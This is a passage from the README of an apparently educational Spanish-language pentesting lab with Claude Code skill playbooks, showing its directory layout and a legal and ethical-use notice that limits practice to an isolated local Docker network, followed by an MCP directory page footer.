│ └── manual/ # Capturas y notas manuales
│
├── .claude/
│ ├── CLAUDE.md # Contexto y reglas para Claude Code
│ ├── settings.json # MCP servers y permisos del proyecto
│ └── skills/ # Playbooks metodológicos
│ ├── recon-web/
│ ├── zap-perimeter-review/
│ ├── sonar-sast-review/
│ ├── kali-lab-pentest/
│ ├── map-findings-to-code/
│ └── harden-from-findings/
│
├── docker-compose.yml
├── Makefile
├── LICENSE
└── README.md
```
---
> Construir software rápido sin entender cómo se rompe es una apuesta. Este laboratorio convierte esa apuesta en aprendizaje concreto.
>
> Si rompes el lab, `make reset` lo deja como nuevo.
---
## Aviso legal y uso ético
### Propósito exclusivamente educativo
Este repositorio fue creado con fines pedagógicos para la comunidad técnica hispanoablante. Cada vulnerabilidad, credencial débil y configuración insegura fue sembrada **a propósito** con el único objetivo de enseñar cómo identificarlas, comprenderlas y remediarlas en un entorno controlado.
**El conocimiento que adquieras aquí debe usarse para construir software más seguro, nunca para dañar.**
### Uso autorizado
Al clonar y ejecutar este laboratorio aceptas que:
- Lo usarás **exclusivamente en tu máquina local**, en la red Docker aislada que provee el repositorio.
- No expondrás ningún servicio del lab a internet ni a redes que no controles completamente.
- No aplicarás las técnicas demostradas aquí contra sistemas reales sin **autorización explícita y documentada** de sus propietarios.
- Eres el único responsable del uso que hagas de las herramientas y conocimientos obtenidos.
### Actividades no autorizadas
El acceso no autorizado a sistemas informáticos es un **delito tipificado en la legislación de Colombia y de la mayoría de países** (Ley 1273 de 2009 en Colombia; CFAA en EE.UU.; Directiva NIS2 en Europa). Las técnicas de este lab incluyen fuerza bruta, SQL injection y escalada de privilegios. Aplicarlas fuera de este entorno sin autorización puede tener consecuencias legales graves.
Si quieres practicar en entornos adicionales, hazlo en plataformas diseñadas para eso: [HackTheBox](https://www.hackthebox.com), [TryHackMe](https://tryhackme.com), [PentesterLab](https://pentesterlab.com) o bug bounty programs con scope definido.
### Errores y limitaciones
Este proyecto fue desarrollado para una sesión educativa y **puede contener errores**, configuraciones subóptimas o simplificaciones pedagógicas. No representa las mejores prácticas de infraestructura de producción — por diseño, representa exactamente lo contrario.
Si encuentras un error, una imprecisión técnica o una mejora pedagógica, abre un issue o un pull request. Las contribuciones de la comunidad son bienvenidas.
### Sin garantías
El software se entrega **"tal cual"**, sin garantías de ningún tipo. El autor no es responsable de daños directos o indirectos derivados del uso de este repositorio, incluyendo pérdida de datos, interrupciones de servicio o consecuencias legales por mal uso.
### Herramientas de terceros
Este lab integra herramientas open source de terceros (OWASP ZAP, Kali Linux, SonarQube, Trivy, Hydra, sqlmap, entre otras). Cada una tiene su propia licencia y condiciones de uso. Consulta su documentación oficial antes de usarlas en contextos distintos a este laboratorio.
---
*Creado con ❤️ para la comunidad técnica por Andrés Caicedo — Tribu iA Colombia, 2026. Licencia MIT.*
MCP Config
Below is the configuration for this MCP Server. You can copy it directly to Cursor or other MCP clients.
mcp.json
Connection Info
You Might Also Like
everything-claude-code
Complete Claude Code configuration collection - agents, skills, hooks,...
markitdown
MarkItDown-MCP is a lightweight server for converting URIs to Markdown.
cc-switch
All-in-One Assistant for Claude Code, Codex & Gemini CLI across platforms.
servers
Model Context Protocol Servers
servers
Model Context Protocol Servers
Time
A Model Context Protocol server for time and timezone conversions.